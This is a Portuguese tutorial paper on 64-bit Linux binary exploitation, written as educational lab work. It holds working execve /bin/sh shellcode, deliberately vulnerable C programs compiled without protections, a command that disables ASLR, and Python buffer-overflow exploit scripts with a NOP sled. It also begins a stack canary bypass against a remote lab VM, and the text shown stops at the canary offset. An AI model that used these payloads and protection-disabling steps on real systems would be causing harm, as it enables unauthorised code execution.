Você está na página 1de 51

BINARY EXPLOITATION

H41stur

2021‑09‑24
BINARY EXPLOITATION 2021‑09‑24

Conteúdo

RESUMO 4

INTRODUÇÃO 4
Funcionamento e arquitetura . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
Machine Code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
Assembly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
Arquiteturas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
Registradores . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
Execução na memória . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
Buffer Overflow . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
Principais meios de proteção . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
NX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
ASLR . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
PIE Protector . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
Stack Canaries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
Objetivo geral . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9

DESENVOLVIMENTO 10
Criando um shellcode com Assembly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
Simples Buffer Overflow . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
Analisando o código fonte . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
Compilando o binário . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
Enumerando o binário . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
Debugando o binário . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
Encontrando o offset . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
Explorando o binário . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
Bypass de proteções e exploração remota . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
Analisando o código fonte . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
Compilando o binário . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
Enumerando o binário . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
Debugando o binário . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28
Bypass do Canary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
Bypass do PIE Protector . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36
Bypass do NX e ASLR . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38

CONSIDERAÇÕES FINAIS 51

H41stur 2
BINARY EXPLOITATION 2021‑09‑24

REFERÊNCIAS 51

H41stur 3
BINARY EXPLOITATION 2021‑09‑24

RESUMO

Este estudo apresenta as técnicas necessárias para endendimento e desenvolvimento de exploits


para exploração de binários. O estudo foi realizado com método prático utilizando a linguagem
Assembly e binários em linguagem C. Ao final do desenvolvimento, foi possível explporar um binário
com todas as proteções mais comums, efetuando bypass de uma por uma até o objetivo de execução
de código remoto ser atingido.

INTRODUÇÃO

Programar um aplicativo sem erros é uma tarefa muito difícil, dado a quantidade de linguagens de
programação e funções que podem ser utilizadas em sua construção.

O CERT C Coding Standard cataloga várias maneiras pelas quais um programa em C pode ser
vulnerável.

Binary Exploitation ou Exploração de Binários, é o processo de explorar um aplicativo compilado, de


forma a tomar vantagem de sua execução através de violação de suas vulnerabilidades.

Existem inúmeras técnicas de exploração de binários que podem ser utilizados durante a exploração
de um aplicativo, sendo cada vulnerabilidade passiva de técnicas e modelos diferentes.

Neste artigo abordaremos as técnicas de corrupção de memória, conhecidas como buffer overflow
ou estouro de memória, e também abordaremos técnicas para bypass dos principais mecanismos de
proteção do sistema operacional Linux e na arquitetura 64 bits.

Porém, antes de explorarmos qualquer aplicação, precisamos de um overview sobre linguagem de


máquina e a arquitetura de computadores.

H41stur 4
BINARY EXPLOITATION 2021‑09‑24

Funcionamento e arquitetura

Machine Code

Figura 1: Código em linguagem de máquina

Machine Code é um conjunto de instruções que a CPU (Central Process Unit) processa, estas instruções
realizam operações lógicas e aritméticas, movem dados, entre outras funções.

Todas estas instruções são representadas em formato hexadecimal.

Assembly

Figura 2: Código em Assembly

Para facilitar para nós, humanos, a programação em linguagem de máquina, foi criado um código
mnemônico chamado "Assembly (ASM)".

H41stur 5
BINARY EXPLOITATION 2021‑09‑24

Arquiteturas

Para otimizar as instruções no processamento, a CPU possui um conjunto de registradores. Estes


registradores tem uma largura específica que muda de acordo com a arquitetura.

x86 = Processadores de 32 bits = 4 bytes de largura.

x64 = Processadores de 64 bits = 8 bytes de largura.

Figura 3: Largura de registradores por arquitetura

Registradores

64 bits = 8 bytes 32 bits = 4 bytes 16 bits = 2 bytes 8 bits = 1 byte

RAX ‑ Acumulator EAX AX AH ~ AL


RBX ‑ Base EBX BX BH ~ BL
RCX ‑ Counter ECX CX CH ~ CL
RDX ‑ Data EDX DX DH ~ DL
RSI ‑ Source Index ESI SI
RDI ‑ Destination Index EDI DI
RSP ‑ Stack Pointer ESP SP
RBP ‑ Base Pointer EBP BP
RIP ‑ Instruction Pointer EIP IP
R8 ~ R15

H41stur 6
BINARY EXPLOITATION 2021‑09‑24

Tabela1: Registradores em arquiteturas diferentes.

Semânticamente, cada registrador tem sua própria função, porém, como consenso geral, à depender
da utilização, os registradores RAX, RBX, RCX, e RDX são utilizados por propósito geral, pois
podem ser repositórios para armazenar variáveis e informações.

Já os registradores RSI, RDI, RSP, RBP e RIP tem a função de controlar e direcionar a execução
do programa, e são exatamente estes registradores que iremos manipular na técnica de corrupção de
memória.

Execução na memória

Figura 4: Como o programa é executado na memória.

Entre todas as etapas da execução do programa, a "Stack", ou pilha, é onde focaremos o ataque,
pois ela é responsável por armazenar todos os dados, ou “buffer”, que são imputados para o programa
vindos de fora.

Basicamente, a Stack é usada para as seguintes funções:

• Armazenar argumentos de funções;


• Armazenar variáveis locais;
• Armazenar o estado do processador entre chamadas de função.

H41stur 7
BINARY EXPLOITATION 2021‑09‑24

A Stack segue a ordem de execução “LIFO” (Last In First Out), onde o primeiro dado a entrar, é o último a
sair. Seguindo esta ordem, o registrador RBP referencia a base da pilha, e o registrador RSP referencia
o top da pilha.

Buffer Overflow

O buffer overflow, ou estouro de buffer, ocorre quando um programa recebe como entrada, um buffer
maior do que o suportado, fazendo com que outros espaços da memória sejam sobrescritos.

Quando um registrador que controla a execução, como o RIP, é sobrescrito por um valor inválido na
memória, temos o buffer overflow que causa a “quebra” do programa, e ele pára sua execução.

Porém, quando o sobrescrevemos com um endereço existente na memória do programa ou da Libc,


conseguimos controlar o programa para executar funções maliciosas como execução de comandos
arbitrários ou um reverse shell.

Principais meios de proteção

Existem alguns métodos e ferramentas utilizadas comunmente para dificultar a manipulação e


exploração de binários. Estes mecanismos não são infalíveis, mas, se utilizados em conjunto e
implementadas de forma correta, podem aumentar muito a segurança de um binário. São elas:

• No eXecute ou NX;
• Address Space Layout Randomization (ASLR);
• PIE/Stack Protector;
• Stack Canaries/Cookies.

NX

O bit No eXecute ou NX (também chamado de Data Execution Prevention ou DEP), marca certas áreas
do programa, como a Stack, como não executáveis. Isso faz com que seja impossível executar um
comando direto da Stack e força o uso de outras técnicas de exploração, como o ROP (Return Oriented
Programming).

ASLR

A Address Space Layout Randomization se trata da randomização do endereço da memória onde o


programa e as bibliotecas do programa estão. Em outras palavras, a cada execução do programa,
todos os endereços de memória mudam.

H41stur 8
BINARY EXPLOITATION 2021‑09‑24

Desta forma, fica muito difícil durante a exploração, encontrar o endereço de alguma função sensível
para utilizar de forma maliciosa.

PIE Protector

Muito parecido com o ASLR, o PIE Protector randomiza os endereços da Stack a cada execução,
tornando impossível prever em quais endereços de memória, cada função do programa estará ao ser
executado.

Stack Canaries

O Stack Canary é um valor randômico inserido na Stack toda vez que o programa é iniciado. Após o
retorno de uma função, o programa faz a checagem do valor do canary, se for o mesmo, o programa
continua, se for diferente, o programa pára sua execução.

Em outras palavras, se sobrescrevermos o valor do Canary com o buffer overflow, e na checagem o


valor não bater com o inserido pelo programa, nossa exploração irá falhar.

É uma técnica bastante efetiva, uma vez que é praticamente impossível adivinharmos um valor
randômico de 64 bits, porém existem formas de efetuar o bypass do Canary através de vazamento de
endereços de memória e/ou bruteforce.

Objetivo geral

O objetivo deste estudo, é entender como é gerado um shellcode em Assembly e como explorar um
binário vulnerável desenvolvido em linguagem C no sistema Linux 64 bits, desde a análise de
suas funcções vulneráveis, até a aplicação do shellcode desenvolvido.

Também serão exploradas técnicas para bypass dos principais métodos de proteção inseridos na
compilação do binário.

Ao longo do desenvolvimento, conceitos de linguagem de máquina e Assembly será explorados.

Para replicação dos experimentos, serão necessárias as seguintes ferramentas:

• Distribuição Kali Linux 64 bits;


• Debugger GDB com plugin Peda;
• Python 2 e 3;
• A ferramenta ROPGadget.

H41stur 9
BINARY EXPLOITATION 2021‑09‑24

DESENVOLVIMENTO

Existem várias ferramentas que agilizam e até automatizam a exploração, como o caso do msfvenom
da suite Metasploit Framework, porém, quando se trata de exploração de binários, nem sempre o
automatizado irá nos atender, é preciso uma análise mais afundo e o desenvolvimento do próprio
exploit.

Criando um shellcode com Assembly

Com o uso do Metasploit Framework , é possível criar um exploit executável e até mesmo uma linha
de bytes para ser inserido em um script conforme a imagem abaixo:

Figura 5: Exploit executável criado com msfvenom.

O msfvenom criou um exploit executável que chama o programa /bin/sh, também pode‑se criar o
mesmo exploit em linha de bytes para ser utilizado em um script, conforme a imagem abaixo:

H41stur 10
BINARY EXPLOITATION 2021‑09‑24

Figura 6: Exploit em linhas de byte para script python.

Esta linha de bytes, segue à risca a arquitetura x64 e tem uma ordem específica que será revisada mais
adiante. Mas nem sempre, a depender do SO, ou da proteção do binário, será possível obter um bom
funcionamento deste exploit, ou em outros casos, o msfvenom não estará disponível. Para tanto, é
importante saber a mecânica por trás dele.

É preciso entender como o sistema Linux chama suas funções de sistema. Se consultado o manual da
syscall veremos como as variáveis são armazenadas:

1 $ man syscall

H41stur 11
BINARY EXPLOITATION 2021‑09‑24

Figura 7: Tabela de registradores da syscall.

Como pode ser visto na imagem, o argumento da função a ser executada ne arquitetura x86‑64 (64
bits), tem que ser colocado no registrador RAX. Ao avançar mais na página de manual, pode ser
observado a posição dos demais argumentos:

H41stur 12
BINARY EXPLOITATION 2021‑09‑24

Figura 8: Tabela de registradores de argumentos da syscall.

Como pode ser observado, o primeiro argumento da função deve ir no registrador RDI, o segundo no
RSI, o terceiro no RDX, e os demais em R10, R8 e R9 respectivamente.

Sabendo como montar a estrutura de uma chamada de sistema, é preciso encontrar qual a chamada
será feita, no caso do shell, pode ser usado a função execve. Ao consultar o manual da execve, pode
ser observado sua estrutura.

1 $ man execve

H41stur 13
BINARY EXPLOITATION 2021‑09‑24

Figura 9: Estrutura da função execve.

Conforme o manual, pode ser observado que a função execve recebe três argumentos:

• pathname que recebe o endereço do comando a ser executado, neste caso será utilizado
“/bin/sh”
• argv[] que é uma array de argumentos que deve ser iniciada com o path do programa e
terminado em NULL
• envp[] que é uma array de chave=valor, para ser passada para o programa.

Também é preciso encontrar o operador que chama a função execve para que possa ser alocado no
registrador RAX, este valor pode ser encontrado com o comando:

1 $ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep execve


2 #define __NR_execve 59

Com o valor encontrado de 59, a estrutura do comando fica:

execve pathname argv[]

59 /bin/sh [‘/bin/sh’, 0]

H41stur 14
BINARY EXPLOITATION 2021‑09‑24

O script abaixo, mostra como o código em Assembly fica para gerar o mesmo exploit executável gerado
pelo msfvenom:

1 $ cat shell.asm
2 global _start
3
4 section .text
5
6 _start:
7
8 xor rdx, rdx ; Zerando o registrador RDX
9 mov qword rbx, '//bin/sh'; Inserindo o comando //bin/sh em RBX
10 shr rbx, 8 ; Shift Right de 8 bits em RBX para
limpar a / extra
11 push rbx ; empurrando RBX para a Stack
12
13 mov rdi, rsp ; Voltando o /bin/sh para RDI (
argumento 1)
14 push rdx ; Enviando o NULL para a pilha
15 push rdi ; Enviando /bin/sh para a pilha
16 mov rsi, rsp ; Movendo ["/bin/sh", 0] para RSI (
argumento 2)
17 mov rax, 59 ; Movendo para RAX o valor de execve
18 syscall ; Chamando a função

Pode‑se “Assemblar” o script com o nasm e criar um objeto.

1 $ nasm -f elf64 shell.asm

E em seguida fazer o link do objeto para um executável.

1 $ ld shell.o -o shell

O resultado de toda esa operação, é um binário executável que chama o programa /bin/sh como
pode ser visto na imagem abaixo:

Figura 10: Exploit executável criado com Assembly

H41stur 15
BINARY EXPLOITATION 2021‑09‑24

Assim como no msfvenom, também é possível transformar este executável numa linha de bytes para
uso em scripts python, através do objdump, auxiliado de um shell script conforme abaixo:

1 $ for i in $(objdump -d -M intel shell | grep '^ ' | cut -f2); do echo
-n '\\x'$i; done
2 \x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\
x53\x48\x89\xe7\x52\x57\x48\x89\xe6\xb8\x3b\x00\x00\x00\x0f\x05

Com o entendimento da criação de um exploit executável, pode‑se seguir adiante com a exploração
de binários.

Simples Buffer Overflow

Para fins de entendimento de como ocorre a corrupção de memória através do buffer overflow, esta
primeira parte será realizada com um binário sem nenhuma proteção. Este experimento dará uma
visão de como o programa é executado a nível de memória e como é possível executar um shellcode
a partir da Stack.

Para que o ASLR seja desativado, é preciso executar o comando abaixo:

1 $ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Analisando o código fonte

Nem sempre em um cenário real, é possível ter acesso ao código fonte do binário a ser explorado,
porém, a fins de estudo, o código fonte do binário está abaixo:

1 $ cat prog.c
2 #include <stdio.h>
3 #include <string.h>
4
5 void vuln(void){
6
7 char c[40];
8 puts("Me alimente: ");
9 gets(c);
10 printf("Vc escreveu: %s\n", c);
11 }
12
13 int main(void){
14
15 vuln();
16 return 0;
17 }

H41stur 16
BINARY EXPLOITATION 2021‑09‑24

Ao analisar a função vuln, épossível perceber que ela cria um buffer de 40 bytes, logo em seguida, a
função gets preenche o buffer criado com o input do usuário.

O problema da função gets, é que ela não faz nenhum tratamento no buffer de entrada para
validar seu tamanho, podendo aceitar uma quantidade de bytes muito maior que os 40 setados
inicialmente.

Compilando o binário

Para que a exploração ocorra de fato, é necessário a compilação do script em um binário, desativando
todas as proteções através do comando abaixo:

1 $ gcc prog.c -o prog -z execstack -fno-stack-protector -no-pie -w

Enumerando o binário

Após a compilação, pode‑se executar o binário e enumerar seu comportamento:

1 $ ./prog
2 Me alimente:
3 AAAAAAAA
4 Vc escreveu: AAAAAAAA

O programa solicita dados de entrada, e após o envio, retorna a resposta com o buffer. Ao preencher
um buffer maior que o esperado, o programa tem o seguinte comportamento:

1 $ ./prog
2 Me alimente:
3 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
4 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
5 Vc escreveu: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
6 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
7 AAAAAAAAAAAAAAAAAAAAA
8 zsh: segmentation fault ./prog

O programa respondeu com o erro "segmentation fault". Isto ocorre, pois o buffer de entrada
foi maior que 40 bytes, sobresccrevendo outros endereços de memória com “A”, fazendo com que o
programa não saiba o que executar após a função vuln.

Debugando o binário

Uma vez constatado a vulnerabilidade de buffer overflow, pode‑se utilizar o Debugger GDB para
verificar o comportamento do programa em nível de memória. Para iniciar, é preciso executar o

H41stur 17
BINARY EXPLOITATION 2021‑09‑24

comando abaixo:

1 $ gdb prog

Ao insrir o comando info functions, todas as funções do programa são listadas, conforme a
imagem abaixo:

Figura 11: Funções do programa exibidas pelo GDB.

Para iniciar o debug, é preciso inserir um breakpoint na função main através do comando b main.
Em seguida executar o programa no GDB com o comando run. Após a execução dos comandos, é
possível ter o overview dos registradores no início da execução, conforme imagem abaixo:

H41stur 18
BINARY EXPLOITATION 2021‑09‑24

Figura 12: Overview dos registradores no início da execução do programa.

Neste ponto da execução, é possível “disassemblar” a função vuln e verificar os endereços de


memória de cada passo com o comando disas vuln.

H41stur 19
BINARY EXPLOITATION 2021‑09‑24

Figura 13: Disassembly da função vuln

É possível inserir mais um breakpoint, desta vez na chamada ret da função vuln, que neste caso
está no endereço de memória 0x0000000000401181. Esta chamada retorna para a execução normal
do programa após receber o buffer de entrada. Ao setar um breakpoint nesta chamada, é possível
analisar os registradores neste exato momento. O breakpoint pode ser setado com o comando b *
0x0000000000401181.

Após setar o breakpoint, o programa deve continuar sua execução com o comando continue.

1 gdb-peda$ b * 0x0000000000401181
2 Breakpoint 2 at 0x401181
3 gdb-peda$ continue
4 Continuing.
5 Me alimente:
6 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Após preencher o buffer com uma grande quantidade de dados, pode‑se continuar a execução com o
comando continue.

H41stur 20
BINARY EXPLOITATION 2021‑09‑24

Figura 14: Execução do programa parada com o erro “SIGSEGV”.

Conforme observado, o programa parou com o erro segmentation fault. Se o proximo comando
a ser executado, que se encontra no topo da pilha, for consultado, pode‑se verificar que ele está
preenchido com 0x4141414141414141 (41= A em hexadecimal). O RSP pode ser consultado com
o comando x/gx $rsp.

1 gdb-peda$ x/gx $rsp


2 0x7fffffffded8: 0x4141414141414141

Encontrando o offset

Através da análise do código fonte, é possível identificar que o buffer alocado para a função vuln é de
40 bytes, porém, devido aos movimentos de registradores, o buffer para se atingir o RSP é diferente.
Para se descobrir o offset para atingir o endereço desejado, é preciso enviar para o programa um ciclic
pattern, ou seja, uma cadeia de caracteres que pode ser rastreado para identificarmos o endereço

H41stur 21
BINARY EXPLOITATION 2021‑09‑24

correto.

Para criar este ciclic pattern, podemos utilizar o programa msf-pattern_create da suide Metasploit
Framework.

1 $ msf-pattern_create -l 80
2 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1
3 Ac2Ac3Ac4Ac5Ac

Este comando cria um ciclic pattern de 80 bytes que pode ser enviado para o programa sendo
executado no GDB.

1 gdb-peda$ continue
2 Continuing.
3 Me alimente:
4 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1
5 Ac2Ac3Ac4Ac5Ac
6 Vc escreveu: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab
7 7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac

Ao consultar o endereço de RSP que causou o erro no programa, é possível encontrar os bytes
resultantes.

1 gdb-peda$ x/gx $rsp


2 0x7fffffffded8: 0x4130634139624138

Com o endereço resultante é possível utilizar o programa msf‑pattern_offset, também da suite


Metasploit Framework, para consultar o offset resultante do endereço.

1 $ msf-pattern_offset -l 80 -q 0x4130634139624138
2 [*] Exact match at offset 56

O offset para atingir RIP é de 56 bytes. Pode‑se testar este offset ao enviar novamente um buffer
para o programa sendo executado no GDB, contndo 56 letras A e 8 letras B. Ao consultar o
endereço resultante em RSP, ele estará preenchido com o valor 0x4242424242424242 (42 = B em
hexadecimal).

1 gdb-peda$ x/gx $rsp


2 0x7fffffffded8: 0x4242424242424242

A partir destas descobertas, é possível ter total controle da execução do binário.

Explorando o binário

Para a exploração do binário, inicialmente será necessário um script em python 2. O motivo pelo
qual será utilizado uma versão antiga da linguagem, se dá pelo fado desta versão imprimir bytes na

H41stur 22
BINARY EXPLOITATION 2021‑09‑24

tela, enquanto o python 3 descontinuou esta função. Porém, para as próximas explorações com
bypass das proteções, o Python 3 será utilizado.

Com o offset correto, é preciso encontrar um “endereço de retorno” válido para o programa, ou seja,
após o buffer de 56 bytes, é preciso informar um endereço válido para o programa, de forma que ele
não entre em segmentation fault. Este endereço pode ser consultado no próprio GDB, uma vez que o
breakpoint foi setado no endereço de retorno da função vuln, o próximo endereço da Stack pode ser
usado.

Uma vez que o ASLR foi desabilitado, qualquer endereço de memória permanecerá o mesmo em todas
as execuções. O endereço de retorno está no topo da Stack conforme a imagem abaixo:

Figura 15: Endereço de retorno para o buffer overflow: 0x7fffffffdf00

H41stur 23
BINARY EXPLOITATION 2021‑09‑24

Com o endereço em mãos, e com o shell code em linha de bytes criado anteriormente, pode‑se criar
o seguinte script:

1 $ cat exploit.py
2 #!/usr/bin/python
3
4 import struct
5
6 shell = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73
7 \x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48\x89\xe6
8 \xb8\x3b\x00\x00\x00\x0f\x05"
9
10 #offset
11 payload = "A" * 56
12 #endereco de retorno
13 payload += struct.pack("<Q", 0x7fffffffdf00)
14 #shellcode
15 payload += shell
16
17 print payload

Para enviar o exploit via GDB, pode ser utilizado o comando r < <(python exploit.py). Ao
executar o binário via GDB enviando este script, é possível obter o retorno de que o programa
chamou o /bin/dash, conforme imagem abaixo:

Figura 16: Programa chamando /bin/dash via GDB.

O exploit está funcional quando é executado por dentro do GDB, pois o endereço de retorno
encontrado, considera não so o binário, mas o próŕio GDB. Porém, quando é executado via terminal,
existe um decremento não específico dos endereços de memória, como não é possível “adivinhar”
este decremento, o script pode ser adaptado com a técnica de NOP Sled.

NOP Sled O opcode NOP, representado pelo byte \x90, é uma instrução Assembly que não faz
absolutamente nada. Quando é inserido uma cadeia de NOPs, o programa simplesmente “desliza”
sobre eles. Como não é possível descobrir o decremento dos valores de memória, é possível fazer
um acréssimo no endereço de retorno seguido de uma cadeia de NOPs.

Isto vai fazer com que o endereço de retorno aponte para um lugar bem abaixo da Stack, e logo em

H41stur 24
BINARY EXPLOITATION 2021‑09‑24

seguida o programa vai percorrer os NOPs até o shellcode, fazendo com que o exploit se adapte às
diferenças de endereços. O sicript adaptado fica como abaixo:

1 $ cat exploit.py
2 #!/usr/bin/python
3
4 import struct
5
6 #cadeia de NOPs
7 nops = "\x90" * 200
8
9 shell = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73
10 \x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48\x89\xe6
11 \xb8\x3b\x00\x00\x00\x0f\x05"
12
13 #offset
14 payload = "A" * 56
15 Endereço de retorno acrescido de 200
16 payload += struct.pack("<Q", 0x7fffffffdf00 + 200)
17 #cadeia de NOPs
18 payload += nops
19 #shellcode
20 payload += shell
21
22 print payload

Ao executar o exploit enviando o payload para o binário, o endereço de retorno é sobrescrito, levando
o programa para a cadeia de NOPs, em seguida o shellcode é executado, uma vez que não existem
proteções para este binário, é possível obter um command shell.

Figura 17: Command Shell obtido via buffer overflow

Com este resultado, foi possível entender o funcionamento básico do processo de exploração de
binários via buffer overflow básico. Nas próximas etapas, serão exploradas as técnicas de bypass das
proteções comuns.

H41stur 25
BINARY EXPLOITATION 2021‑09‑24

Bypass de proteções e exploração remota

Conforme os testes realizados, a exploração de um binário sem proteçõs é muito simples e fornece
embasamento de como funciona a arquitatura de execução. Porém no cenário real do dia‑a‑dia
raramente será possível encontrar um binário sem proteções, e frequentemente a exploraçẽo será
feita remotamente.

Nesta etapa do estudo, a exploração será realizada com as principais proteções: ASLR, Canary, NX e
PIE Protector. Para tanto, o desenvolvimento do exploit será feito em partes, focando no bypass de
cada tipo de proteção por etapa.

Este experimento também será feito remotamente, ou seja, além do binário local para estudos, o alvo
do ataque será uma Virtual Machine, que à princípio não se sabe qual distribuição Linux roda como
SO.

O python possui uma biblioteca específica para este tipo de exploração chamada PWNTOOLS que faz
uma boa parte do trabalho de forma automatizada, porém, para fins de entendimento do processo,
esta biblioteca não será utilizada neste experimento.

Algumas das princiais técnicas de bypass serão exploradas neste experimento, tendo em vista que
cada binário terá uma forma diferente de ser explorado, este laboratório trará uma visão geral destas
técnicas.

Analisando o código fonte

O binário é um simples programa que solicita um buffer e em seguida imprime uma resposta, abaixo
seu código fonte:

1 $ cat prog.c
2 #include <stdio.h>
3 #include <string.h>
4 #include <stdlib.h>
5 #include <unistd.h>
6 #include <sys/wait.h>
7
8
9 void func(){
10 char overflowme[32];
11 printf("Preencha meu buffer: ");
12 fflush(stdout);
13 read(STDIN_FILENO, overflowme, 200);
14 printf("Agora se vira com o canary!\n");
15 fflush(stdout);
16 }
17

H41stur 26
BINARY EXPLOITATION 2021‑09‑24

18
19 int main(int argc, char* argv[]){
20 while(1) {
21 if (fork()== 0) {
22 func();
23 printf("Valeu!\n");
24 fflush(stdout);
25 exit(0);
26 } else {
27 wait(NULL);
28 }
29 }
30 return 0;
31 }

Ao analisar a função func é possível perceber que ela cria um buffer de 32 bytes chamado
overflowme, e logo em seguida solicita a entrada para este buffer. Porém a função read capta o
buffer de entrada e o envia para o overflowme limitando o tamanho da entrada em 200 bytes, muito
mais do que a capacidade do byffer overflowme, causando sobrescrita na memória caso a entrada
seja maior que 32 bytes.

Compilando o binário

Para que o binário possa ser estudado localmente, antes de iniciar a enumeração remota, é preciso
compilar o código com o comando abaixo, de forma que todas as proteções sejam ativadas:

1 $ gcc prog.c -o prog -fstack-protector

Enumerando o binário

Após a compilação do programa, pode‑se executar o binário e enumerar seu comportamento:

1 $ ./prog
2 Preencha meu buffer: AAAAAAAA
3 Agora se vira com o canary!
4 Valeu!
5 Preencha meu buffer:

O programa solicita o buffer de entrada e, após o envio, imprime uma mensagem de agradecimento
e retorna para o início solicitando uma nova entrada. Ao preencher o buffer com mais dados que o
suportado, ele tem o seguinte comportamento:

1 $ ./prog
2 Preencha meu buffer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
3 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

H41stur 27
BINARY EXPLOITATION 2021‑09‑24

4 Agora se vira com o canary!


5 *** stack smashing detected ***: terminated
6 Preencha meu buffer:

Novamente ele recebeu o buffer e retornou para o início. Porém, ao invés da mensagem de
agradecimento "Valeu!", ele trouxe a mensagem *** stack smashing detected ***:
terminated. Esta mensagem indica que o valor do Stack Canary foi sobrescrito.

Confore explicadao anteriormente, no início de cada execução, o programa salva um valor aleatório
na pilha, este valor é o Stack Canary. Antes de finalizar uma função ele compara o valor da pilha
com o valor gerado, se os dois forem iguais, o programa segue, se ao menos um byte for diferente, o
programa para de executar aquele função e retorna o status de stack smashing.

Ao enumerar o binário de forma remota, utilizando o netcat, o comportamento é o mesmo, porém


sem o erro de stack smashing:

1 $ nc 192.168.0.125 666
2 Preencha meu buffer: AAAAAAAA
3 Agora se vira com o canary!
4 Valeu!
5 Preencha meu buffer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
6 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
7 Agora se vira com o canary!
8 Preencha meu buffer:

Debugando o binário

O processo para carregar o binário local no Debugger GDB é o mesmo do estudo anterior, executando
o comando $ gdb prog. Após o GDB carregar o programa, pode‑se setar um breakpoint na função
main e em seguida executar o programa com o comando run.

Os registradores terão sua carga inicial e o programa irá parar no breakpoint conforme a imagem
abaixo:

H41stur 28
BINARY EXPLOITATION 2021‑09‑24

Figura 18: Overview dos registradores no início da execução do programa.

Ao “disassemblar” a função func, é possível observar os momentos em que o Stack Canary é inserido
e o momento em que é comparado.

H41stur 29
BINARY EXPLOITATION 2021‑09‑24

Figura 19: Momento em que o Canary é salvo na memória e depois comparado

Ao inserir um breakpoint no endereço de comparação e continuar o programa com o comando


continue, é possível inserir um buffer normal e analisar os registradores:

H41stur 30
BINARY EXPLOITATION 2021‑09‑24

Figura 20: Registradores no breakpoint de conferência do Canary.

No momento de conferir o Canary, o programa executa a instrução sub rax,QWORD PTR fs:0x28,
no registrador RAX, é possível visualizar o valor do Canary.

Também é possível analizar os primeiros 40 endereços da Stack com o comando x/40gx $rsp e
observar alguns pontos importantes:

H41stur 31
BINARY EXPLOITATION 2021‑09‑24

Figura 21: Valor do Canary na pilha seguido do RBP

Analisando a imagem, pode se observar que:

• Após o valor do Canary na Stack, existe o valor de RBP (base da Stack)


• Para que ocorra o buffer overflow é preciso ultrapassar o valor do Canary e do RBP e
sobrescrever o endereço de retorno

Com estas informações, é possível iniciar a exploração.

Bypass do Canary

O primeiro passo para conseguir o bypass do Canary é eoncontrar o offset até ele, pois só assim é
possível trbalhar diretamente com su valor. ara encontrar este offset, é possível inserir um breakpoint
exatamente no endereço de comparação de valores dentro do GDB e enviar um ciclic pattern para o
programa conforme imagem abaixo:

H41stur 32
BINARY EXPLOITATION 2021‑09‑24

Figura 22: Registrador RAX contendo o valor sobrescrito do Canary.

Analisando o breakpoint, pode‑se verificar que a instrução anterior enviou para RAX o valor que está
em [rbp-0x8], ou seja, o valor do Canary que está logo antes do RBP.

Isso significa que o valor de RAX neste momento, é o ponto onde o ciclic pattern sobrescreveu o
Canary, e é justamente este valor que será utilizado para consulta de offset no msf-pattern_offset
:

H41stur 33
BINARY EXPLOITATION 2021‑09‑24

1 $ msf-pattern_offset -l 100 -q 0x3562413462413362


2 [*] Exact match at offset 40

